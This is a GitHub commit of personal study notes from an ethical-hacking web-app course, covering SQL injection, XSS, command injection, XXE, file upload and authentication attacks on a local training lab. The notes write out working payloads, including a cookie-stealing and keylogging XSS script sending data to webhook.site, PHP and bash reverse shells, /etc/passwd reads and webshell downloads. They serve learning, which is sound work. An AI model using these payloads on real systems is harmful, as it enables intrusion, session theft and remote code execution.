Skip to content

Commit fd60fd1

Browse files
committed
PEH - Web app course
1 parent 7b26ace commit fd60fd1

24 files changed

+632
-63
lines changed
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading
Loading

peh/6-webapp/1-web-lab.md

+34-62
Original file line numberDiff line numberDiff line change
@@ -40,51 +40,23 @@ cd $HOME/peh/labs
4040

4141
> # Lab solutions
4242
>
43-
> ## Injection0x03
43+
> ## Command Inj 0x02
4444
>
45-
> - sushi shop
46-
>- product search
47-
> - UNION select to enum other tables
48-
>- find creds & login
45+
> `https://tcm-sec.com/& whoami& asd`
46+
>`https://tcm-sec.com/ | sleep 10 | asd`
4947
>
50-
> ### solutions:
48+
>`https://webhook.site/<id>/?`whoami``
5149
>
52-
> `Tanjyoubi Sushi Rack' UNION SELECT username,password,null,null from injection0x03_users-- -`
53-
>
54-
>## XSS 0x01
55-
>
56-
>`<img src=x onerror=alert(1);>`
57-
>
58-
> ## XSS 0x02
59-
>
60-
> `<img src=x onerror=alert(1);>`
61-
>
62-
> `<script>function logKey(event){fetch("http://10.10.100.146:4444/e?c=" + event.key)} document.addEventListener('keydown', logKey);</script>`
63-
>
64-
> ## XSS 0x03
65-
>
66-
> ## Command Inj 0x01
67-
>
68-
> `https://tcm-sec.com; whoami; asd`
69-
>`; cat /etc/passwd; asd`
70-
>
71-
>## Command Inj 0x02
72-
>
73-
>`https://tcm-sec.com/& whoami& asd`
74-
> `https://tcm-sec.com/ | sleep 10 | asd`
75-
>
76-
> `https://webhook.site/<id>/?`whoami``
77-
>
7850
> ## Command Inj 0x03
79-
>
51+
>
8052
> `45123)^2))}';whoami;#`
8153
>
8254
>## File upload 0x01
8355
>
8456
>- Intercept
8557
> - Change contents
8658
> - Or turn off JS
87-
>
59+
>
8860
> ## File upload 0x02
8961
>
9062
> - Bypass the client-side again
@@ -94,74 +66,74 @@ cd $HOME/peh/labs
9466
>
9567
>- Bypass the client-side again
9668
> - Intercept and change the content-type again
97-
> - Use an extension that's not in the blocklist (.phtml)
69+
>- Use an extension that's not in the blocklist (.phtml)
9870
>
9971
>## Authentication 0x01
10072
>
10173
>- Brute force
10274
>
103-
> ## Authentication 0x02
104-
>
105-
> - MFA code, switch username (code is OK for all users)
106-
>- Or, just brute the code
75+
>## Authentication 0x02
10776
>
77+
>- MFA code, switch username (code is OK for all users)
78+
> - Or, just brute the code
79+
>
10880
> ## Authentication 0x03
10981
>
11082
>- Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
11183
>
11284
>- common password list:
11385
>
114-
>```
115-
> password
116-
>password123
117-
> letmein
86+
> ```
87+
>password
88+
> password123
89+
>letmein
11890
> manchesterunited
11991
>```
12092
>
12193
>- common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
12294
>
12395
>## XXE, IDOR, capstone
12496
>
125-
>### XXE 0x01
97+
> ### XXE 0x01
12698
>
127-
> ```
99+
>```
128100
> <?xml version="1.0" encoding="UTF-8"?>
129-
> <!DOCTYPE creds [
101+
><!DOCTYPE creds [
130102
> <!ELEMENT creds ANY >]>
131103
> <creds><user>username</user><password>pass</password></creds>
132104
>```
133105
>
134106
>```
135107
> <?xml version="1.0" encoding="UTF-8"?>
136-
><!DOCTYPE creds [
108+
> <!DOCTYPE creds [
137109
> <!ELEMENT creds ANY >
138110
><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
139111
> <creds><user>&xxe;</user><password>pass</password></creds>
140-
> ```
112+
>```
141113
>
142-
> ### IDOR
114+
>### IDOR
143115
>
144-
> `fuzz the parameter`
145-
>
146-
> - find an admin user (or all of the admin users)
116+
>`fuzz the parameter`
147117
>
118+
> - find an admin user (or all of the admin users)
119+
>
148120
> ### Capstone
149-
>
121+
>
150122
> SQLi to get into admin panel
151-
> File upload to get RCE
123+
>File upload to get RCE
152124
>
153125
>- XSS in the message alert
154126
> - XSS in account names probably? need to test
155-
>
127+
>
156128
> - brute force user accounts
157-
>
129+
>
158130
> - SQLi on adding rating
159-
>
160-
> `http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -`
161-
>
162-
> `http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-`
131+
>
132+
>`http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -`
133+
>
134+
>`http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-`
163135
>
164136
># To do list
165137
>
166-
> - file upload capstone
167-
>- auth0x03 testing
138+
>- file upload capstone
139+
> - auth0x03 testing

peh/6-webapp/2-web-sqli.md

+2
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,8 @@
22

33
> - [SQL injection cheat sheet | Web Security Academy](https://portswigger.net/web-security/sql-injection/cheat-sheet)
44
5+
➡️ A **SQL injection** attack consist of an injection of a (malicious) SQL query via the user input from the client to the application, allowing attackers to read, modify, or delete database data, execute administrative operations, access files, or issue OS commands.
6+
57
---
68

79
## Injection0x01 - UNION

peh/6-webapp/3-web-xss.md

+92
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,94 @@
11
# Web App - XSS
22

3+
> - [Cross-Site Scripting (XSS) Cheat Sheet - 2024 Edition | Web Security Academy](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
4+
5+
➡️ **Cross-site scripting** (**XSS**) allows an attacker to compromise the interactions of the users with a vulnerable application. It lets the attacker execute (malicious) **JavaScript** in a victim's browser, compromising the user's interaction with the application.
6+
7+
- **Reflected XSS**
8+
- when an application unsafely includes user-supplied data (injected script) from an HTTP request in its immediate response
9+
- payload (malicious script) come from the current HTTP request
10+
- **Stored XSS**
11+
- when an application receives and stores data from an untrusted source and unsafely includes it within its later HTTP responses
12+
- payload (malicious script) come from the application's database
13+
- **DOM-based XSS**
14+
- when client-side Javascript (code) unsafely processes data from an untrusted source and writes it back to the DOM
15+
- everything happens locally in the browser
16+
17+
```bash
18+
alert(1)
19+
print()
20+
prompt("Hello")
21+
22+
# log pressed key
23+
function logKey(event){console.log(event.key)}
24+
document.addEventListener('keydown', logKey)
25+
```
26+
27+
---
28+
29+
## XSS - DOM
30+
31+
- The request happens entirelly locally
32+
- no request seen in the browser **Dev Tools / Network** tab
33+
- Try some basic payloads
34+
35+
```bash
36+
<script>prompt(1)</script>
37+
# did not work, it is not called/triggered
38+
39+
<img src=x onerror ="prompt(1)">
40+
# works - injects an event-driven JavaScript payload that executes prompt(1) when the image fails to load due to an invalid source
41+
42+
<img src=x onerror ="window.location.href='https://tcm-sec.com'">
43+
# redirect the user to another webpage
44+
```
45+
46+
- The lab can be used for testing other payloads
47+
48+
---
49+
50+
## Stored XSS
51+
52+
- To check if XSS is stored for more users, use
53+
- incognito sessions
54+
- or [Firefox Containers](https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/)
55+
- to create 2 different environments with separate/difference accounts
56+
- First try some HTML injection, once found out if it works, XSS follows
57+
- every user that visits the page is impacted by the **stored XSS payload**
58+
59+
```bash
60+
<h1>Test</h1>
61+
# works - check on the second environment the Stored XSS
62+
63+
<script>prompt(1)</script>
64+
# works - refresh second environment and you'll see the prompt
65+
66+
<script>alert(document.cookie)</script>
67+
# Cookie can be stolen
68+
```
69+
70+
![](.gitbook/assets/2025-02-25_22-01-04_910.png)
71+
72+
---
73+
74+
## XSS - Challenge
75+
76+
- Open `http://localhost/labs/x0x03.php` first Firefox container
77+
- Open `http://localhost/labs/x0x03_admin.php` in the second container
78+
- Goal - exfiltrate the admin cookie
79+
- Use `netcat` or [https://webhook.site](https://webhook.site) (not for private traffic)
80+
- use **Collaborator** (with BurpSuite Pro)
81+
82+
```bash
83+
<script>var i = new Image; i.src="https://webhook.site/4a14cea0-1e8c-4707-a596-cf1939bd4a76/?"+document.cookie</script>
84+
```
85+
86+
```bash
87+
admin_cookie
88+
5ac5355b84894ede056ab81b324c4675
89+
```
90+
91+
![](.gitbook/assets/2025-02-25_23-17-21_912.png)
92+
93+
---
94+

peh/6-webapp/4-web-cmd-injection.md

+118
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,120 @@
11
# Web App - Command Injection
22

3+
> - [PayloadsAllTheThings - Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
4+
> - [Command injection | AppSecExplained](https://appsecexplained.gitbook.io/appsecexplained/common-vulns/command-injection)
5+
6+
➡️ **OS Command Injection**, or shell injection, occurs when a vulnerable application passes unvalidated user input to the system shell, allowing attackers to execute arbitrary OS commands on the server hosting the web app.
7+
8+
---
9+
10+
## Command Injection - Basics
11+
12+
```bash
13+
| whoami #
14+
& whoami& asd
15+
; whoami; asd
16+
# Result: www-data
17+
18+
; cat /etc/passwd; asd
19+
& ls -lah& asd
20+
# Check result in Source Code for better reading
21+
```
22+
23+
![](.gitbook/assets/2025-02-26_00-02-01_913.png)
24+
25+
- Pop a shell - check [Reverse Shell Cheat Sheet - Internal All The Things](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/)
26+
27+
```bash
28+
; which bash; asd
29+
# Result: /bin/bash
30+
31+
; /bin/bash -i >& /dev/tcp/192.168.31.131/4444 0>&1; asd
32+
# does NOT work
33+
34+
; which python; asd
35+
; which python3; asd
36+
37+
; which php; asd
38+
# Result: /usr/local/bin/php
39+
40+
; php -r '$sock=fsockopen("192.168.31.131",4444);exec("/bin/sh -i <&3 >&3 2>&3");'; asd
41+
```
42+
43+
![](.gitbook/assets/2025-02-26_00-17-05_914.png)
44+
45+
---
46+
47+
## Command Injection - Blind/Out-of-band
48+
49+
```bash
50+
https://tcm-sec.com # Website OK
51+
https://tcm-sec.com/idontexist # Website not found
52+
53+
https://tcm-sec.com/; whoami; asd # Website OK
54+
```
55+
56+
- Open [https://webhook.site/](https://webhook.site/)
57+
- **Out of band command injection** - captured from a different place
58+
59+
```bash
60+
https://webhook.site/4a14cea0-1e8c-4707-a596-cf1939bd4a76?`whoami`
61+
62+
# Result
63+
# https://webhook.site/4a14cea0-1e8c-4707-a596-cf1939bd4a76?www-data
64+
```
65+
66+
```bash
67+
# Test a wget
68+
python3 -m http.server 8888
69+
70+
# Command injection string
71+
https://tcm-sec.com \n wget 192.168.31.131:8888/test
72+
# the request worked
73+
```
74+
75+
- Upload a shell and trigger it
76+
77+
```bash
78+
cd $HOME/tcm/peh/webapp
79+
cp /usr/share/webshells/laudanum/php/php-reverse-shell.php rev.php
80+
81+
# Update $ip and $port
82+
nano rev.php
83+
# 192.168.31.131, port 4444
84+
python3 -m http.server 8888
85+
86+
# Command injection
87+
https://tcm-sec.com \n wget 192.168.31.131:8888/rev.php
88+
https://tcm-sec.com && curl http://192.168.31.131:8888/rev.php > $HOME/peh/labs/rev.php
89+
# Those injections may not work, but this is the idea
90+
91+
# Start a listener and navigate to http://localhost/rev.php
92+
# Got reverse shell
93+
```
94+
95+
---
96+
97+
## Command Injection - Challenge
98+
99+
- The app executes this
100+
101+
```bash
102+
# Executed with Registration = TEST, Position X = 123 and PositionY = 456
103+
awk 'BEGIN {print sqrt(((-123)^2) + ((-456)^2))}'
104+
105+
# Try injection on position Y
106+
456)^2))}';whoami;
107+
456)^2))}';whoami;#
108+
# Result: 472.298 www-data - Worked
109+
110+
# Pop a shell via a php payload
111+
112+
456)^2))}';php -r '$sock=fsockopen("192.168.31.131",4444);exec("/bin/sh -i <&3 >&3 2>&3");';#
113+
114+
# Reverse shell received
115+
```
116+
117+
![Command injection](.gitbook/assets/2025-02-27_23-53-57_915.png)
118+
119+
---
120+

0 commit comments

Comments
 (0)